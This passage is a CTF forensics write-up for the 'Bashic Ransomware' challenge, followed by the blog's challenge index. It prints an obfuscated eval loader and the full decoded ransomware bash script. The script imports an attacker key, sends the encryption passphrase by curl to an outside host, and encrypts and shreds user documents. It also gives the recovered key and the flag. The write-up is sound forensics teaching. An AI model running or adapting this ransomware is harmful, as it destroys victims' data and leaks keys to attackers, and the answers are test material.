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
' | r";HxJ="s";Hc2="";f="as";kcE="pas";cEf="ae";d="o";V9z="6";P8c="if";U=" -d";Jc="ef";N0q="";v="b";w="e";b="v |";Tx="Eds";xZp=""
x=$(eval "$Hc2$w$c$rQW$d$s$w$b$Hc2$v$xZp$f$w$V9z$rQW$L$U$xZp")
eval "$N0q$x$Hc2$rQW"

After using python to concat these strings, I got a base64 string, decoded it and I got a bash script:

#!/bin/bash
uFMHx73AXNF6CTsbtzYM() {
 tljyVe4o7K3yOdj="LS0tLS1CRUdJTiBQR1AgUFVCTElDIEtFWSBCTE9DSy0tLS0tCgptUUdOQkdQYTEvc0JEQURXRDlJRUV6VjNaanFNVnBuaXlEc0ZNQlFHR3l3ZzUwOEFlU0ZYRmxMM0syb0dGQ2p3CkViSTN2Kzh0eVlnNEFtNFE4aEhDaitqOGt2blIvQ3E1VkZPV1dzMjg3WVNHK294MEpWNTNyMy9MZGp5cENYN3YKcTc0N0FEYXdYZktaWXl4RkZUL25qMGtkOVVGcFo4RDE2SWh2aDAvVzNETklRd3NsMVIzcUU0TlNVSWl5WkxINQphbElWYzFnM0lzeHlDZXBiQXErUjJOZEFTWXRZdzM3NDV3Z2FhMUdsc3FSL04vd0QwMWlmaXNBbUxYV0xVUmRxClliU3lTeUM1V3h0cTlOZ3lRQUN5YXZGUEVzcC9VNmNKU2pmSGdUNGhzQmtoTFZhL29GVmxQdnIvdEhkSytXMHoKMkxmVTg0cVFoRXB3d3NYWHdOYWZvNE82ckJjNXBpQmYwa0FmbFh6VHZpdWhFcHRodTBtM3UxbWwydnIrNTc0Mwo1OGU4ODg4STRTOElLNE5PRUZFbzBHNC9nSUlZWU1ValExWXJMbmRZRlFkSzc4MUJBSnNkT2JLT3hFQk5vdVkxCkZCcjh0VjJCT1MxTDdBTjdrcU9FeGY2MWsxUVozdGtQWWZkWHdaKzVUL3kzYW5BcS8xQmtvUlljcUJwak9XMEsKUXlRYkU3bWNHNTdqNW04QUVRRUFBYlFkVW1GdWMyOXRTMlY1SUR4eVlXNXpiMjFBYUdGamF5NXNiMk5oYkQ2SgpBYzRFRXdFS0FEZ1dJUVFWWjZNdzBtTlFqZklJQUVqL1J3MGJrcFJpVmdVQ1k5clgrd0liQXdVTENRZ0hBZ1lWCkNna0lDd0lFRmdJREFRSWVBUUlYZ0FBS0NSRC9SdzBia3BSaVZ1YjBDLzQxeFV6c24vZzI1Njdad3BZdlhEeDcKaklHK2RIV0FhYndFUUZZa2J4VEN1a3FWbXhvQzhJZ0U4a0lQdDhvZ2V3SnI5d3dFY2VheTFkZTUxaDZuTFd0TgpFRUVDMEVQck1UQnAzVkhBOGgrbG1vZXB3NXNXNzRJeERkbTNJVU9WSmluRENlYmRxZGZXMnAwZmVwSjArZGl1Clh0cnE2RVNxblUyMFlNK2t4SlM4TkJYb2FlUkNISnRWLzg5ZnZYSWJoT285dmpsdS9YWHUrWTFpR1gyVHN3RFkKTmFheFc5Ymlrb2xHRzdXYkpUYk5XSEx2VTY4aGxsbWtaMDB6a0lSNHc2alc0TUJkTkZ6VFVSbEJ4MWlYbGw1SwpUQWVnWC9SdFZmeSt0aEdrbFJFQ3BPT1dpY1dCeFdyeTFKSW5UR1BtZnpKaEZWOU5WU0ROWEdteGZ1YVRXZUhICnRDMG9FMkxKZVlyakRNV0xnR0VXTERMYlhDdURtZXo1M0dwSjN2MHlGckplNGkyZVI1Z0x1OG9UNWlaV0xDNnYKMzdQeVc3bXYyeHZQNGNlZExZdk1CMVZ1UlBuSW01T1U2UjJtelNHQS8zNnBKWHhYU3RjY01JamJ5dDNUbFNxbAordHJyQ2ZHUzNjMzRzVmgrN1RNUHRHZTdCbHR4ZjI5UzhMd1dudUt1R00rNUFZMEVZOXJYK3dFTUFLNW0vdm1TCmJTb3p0cXFzV1dpNTN1UFJ3UWxqejZHd0g5emhDbENzRW4xZk9QRktZc0JLcmpFQXpsRUZ2VTh3UGhiVm5EdFAKNERtRFp0Wk9UN3pxSjFseUdXUnliOEdjSnpHWXYvRDJVcnZaMVZCUHBoUlVNU2lQZUljNnk0ckI5Vkh5ZjVRNApwdmFub1hlWVkyYVd4S09zdUl2aUJDRkJWalE0Q0dqbUlBMkZOdWFwZEFnSFZJRHZmTU9nblorbnRFNVdhSWZlCjBCdzlMK05OaTloV04vODlnMG9BeDNDVksybVVPUUJ3Z3NBR1kvdFdjc3lGc3YwWlRBLzczRXg0U05VMXdtUG0KeDNheVVsTjhhRENPMlhaanBpMitLY0NOV2hpYmFKbWp5SkZzK3ZIbzJ6TlpDaExGQWtObmZzSHczdHdTU1ZNQQovck56UE0zU2xhb2QvK2dDY0xEUEh0Y0xpcGF3RXlHcWRtd0hBakpTaEt4eFJpaG1YbzVoRjc1bUF3ckNSL2g5Ck1zb0phOW5DMDF5NXBMemZ4c1ZZRzBneXhyamdLVEpGcElCWDJ5SmtPSHlDMndrWUg2aVZxbDExMnRmOHpNZ3gKYWFmQnFqenNMZWNzcXZzYzA5SHRnZnpWZVM1bXpUN2dLajMxeXNuNjZxMCtmOVBXREJ5RzF3aHVUUUFSQVFBQgppUUcyQkJnQkNnQWdGaUVFRldlak1OSmpVSTN5Q0FCSS8wY05HNUtVWWxZRkFtUGExL3NDR3d3QUNna1EvMGNOCkc1S1VZbFpBOUF3QXRNOTVITk5QcWVqR0RwZmhmSUhWdy9HZkhKaGRpeUQ2NXJxWE5XckZFdzVJYVpVeWl0WUMKUFVPbmE3bGtFSW05aEkyaVpKc04vWEVnMWw5TVhpRzBHTzRqTjhvT0ZybnNHb3NNbUNJS2p3eDR5US9oTndKNQpuM3Fvb1cvRlErQTRQNmkvZDJERGtZK2NEdDhpUm1LTUhLa3dZcU9VV0hob2wwT3JwT1lYUUIrTjdwSFg5dCtaCld0NjU5YkxpUzRlcGt6YzRDUm9OSHZhZnY0bFdKaGJtWnowSitFd0U2QlBoNWN4WDA3aUEwbDdobjBQSW1jZ0gKKzdUL0xlZWZseHNKeXpiUWlXakd0UC9Ia2ZpbGg5ZStjSjZWcjlsNSs5SEFHaVB1L0JWK05qcTdCb2Mwc0lUKwpLbGFkVzJoUFV1WnQyeSsxaWg3NUtrZGdWb3k0amhhMENsTE9aQ1ZtODhNTXRLWXJ0S2ttZUkrMUtJVFE1NWhGCmRuYWZtaWdxcjB5M0dVTVBseFRRVmR5ZElnRHNzSXhWdlptWG8rd3lNbE4vL0hTS1Q5ZnpwOHhQL1g5bjhZWDcKcmZ1SkdBd3JKbWVLVFdHRWhrOUdOLzk2RTV6N2JOS2RQcWI5WHN3enF4QjMvVTBPWGRHemNpK1h6VURVVVI5cwo3S2dCZ3VXY0xXYWUKPXFqVzcKLS0tLS1FTkQgUEdQIFBVQkxJQyBLRVkgQkxPQ0stLS0tLQ=="
 echo $tljyVe4o7K3yOdj | base64 --decode | gpg --import
 echo -e "5\ny\n" | gpg --command-fd 0 --edit-key "RansomKey" trust
}
MMYPE1MNIGuGPBmyCUo6() {
 DhQ52B6UugM1WcX=`strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 16 | tr -d '\n'`
 echo $DhQ52B6UugM1WcX > RxgXlDqP0h3baha
 gpg --batch --yes -r "RansomKey" -o qgffrqdGlfhrdoE -e RxgXlDqP0h3baha
 shred -u RxgXlDqP0h3baha
 curl --request POST --data-binary "@qgffrqdGlfhrdoE" https://files.pypi-install.com/packages/recv.php

 for i in *.txt *.doc *.docx *.pdf *.kdbx *.gz *.rar;
 do
 if [[ ${i} != *"*."* ]];then
 echo $DhQ52B6UugM1WcX | gpg --batch --yes -o "$i".a59ap --passphrase-fd 0 --symmetric --cipher-algo AES256 "$i" 2>/dev/null
 shred -u "$i" 2>/dev/null
 fi
 done
 unset DhQ52B6UugM1WcX
}
v0nPa1GinWR3Dr27cnmT() {
 # Just a function to print strings
}
ExoPFDWb3uT189e() {
 uFMHx73AXNF6CTsbtzYM
 MMYPE1MNIGuGPBmyCUo6
 v0nPa1GinWR3Dr27cnmT
}
if [[ "$(whoami)" == "developer7669633432" ]]; then
 if [ -x "$(command -v gpg)" ]; then
 ExoPFDWb3uT189e
 exit 1
 fi
fi

2. Bash script analyze

I used ChatGPT to analyze the script, it was much faster than if I analyzed it by myself. There are two functions that we need to notice, uFMHx73AXNF6CTsbtzYM and MMYPE1MNIGuGPBmyCUo6.

The uFMHx73AXNF6CTsbtzYM function decodes a base64 string and imports as a key using GPG.

The MMYPE1MNIGuGPBmyCUo6 function will generate a random string of 16 bytes consists of only alphabet and numbers. Then, it encrypts all files with GPG using the random string as the private key.

Now to find private key, we will immediately think of using volatility3 to find the key in the mem file, as they are the only file that hasn’t been used. However, in this writeup I will present to you an unintended solution as I didn’t figure out to solve it using vol3 in contest’s time.

My unintended solution was a famous trick in forensics, grep. I used GPT to generate a grep command to find a string of 16 bytes consists of only alphabet and numbers.

I try some sussy strings and found that the private key is wJ5kENwyu8amx2RM. Now we just need to decrypt the flag file and get the flag.

Flag is HTB{n0_n33d_t0_r3turn_th3_r3l1c_1_gu3ss}

Onirique | BKISC Blogs

Cyber Apocalypse 2023: The Cursed Mission - Cryptography

Ancient Encodings

Small StEps

Perfect Synchronization

Problem statement

Initial Analysis

The randomness

The AES encryption mode

Conclusion

Solution method

Results

Conclusion

Multipage Recyclings

Problem Statement

Initial Analysis

The encryption method

The Leaked Data

Solution Method

Results

Inside the Matrix

Problem Statement

Initial Analysis

Primes

The Encryption

Conclusion

Solution Method

Results

Colliding Heritage

Initial Analysis

Solution

Elliptic Labyrinth

Problem Statement

Initial analysis

What we need to decrypt the flag?

Having many points on the curve

Solution Method

Results

Elliptic Labyrinth Revenge

Problem Statement

Initial Analysis

AES Encryption

Leak Bits

Implementation and Results

Biased Heritage

Converging Visions

Blokechain

Original Post

Cyber Apocalypse 2023: The Cursed Mission - Forensics

Plaintext Tleasure

Alien Cradle

Extraterrestrial Persistence

Roten

Relic Maps

Packet Cyclone

Bashic Ransomware

1. Pcap file

2. Bash script analyze

Original Posts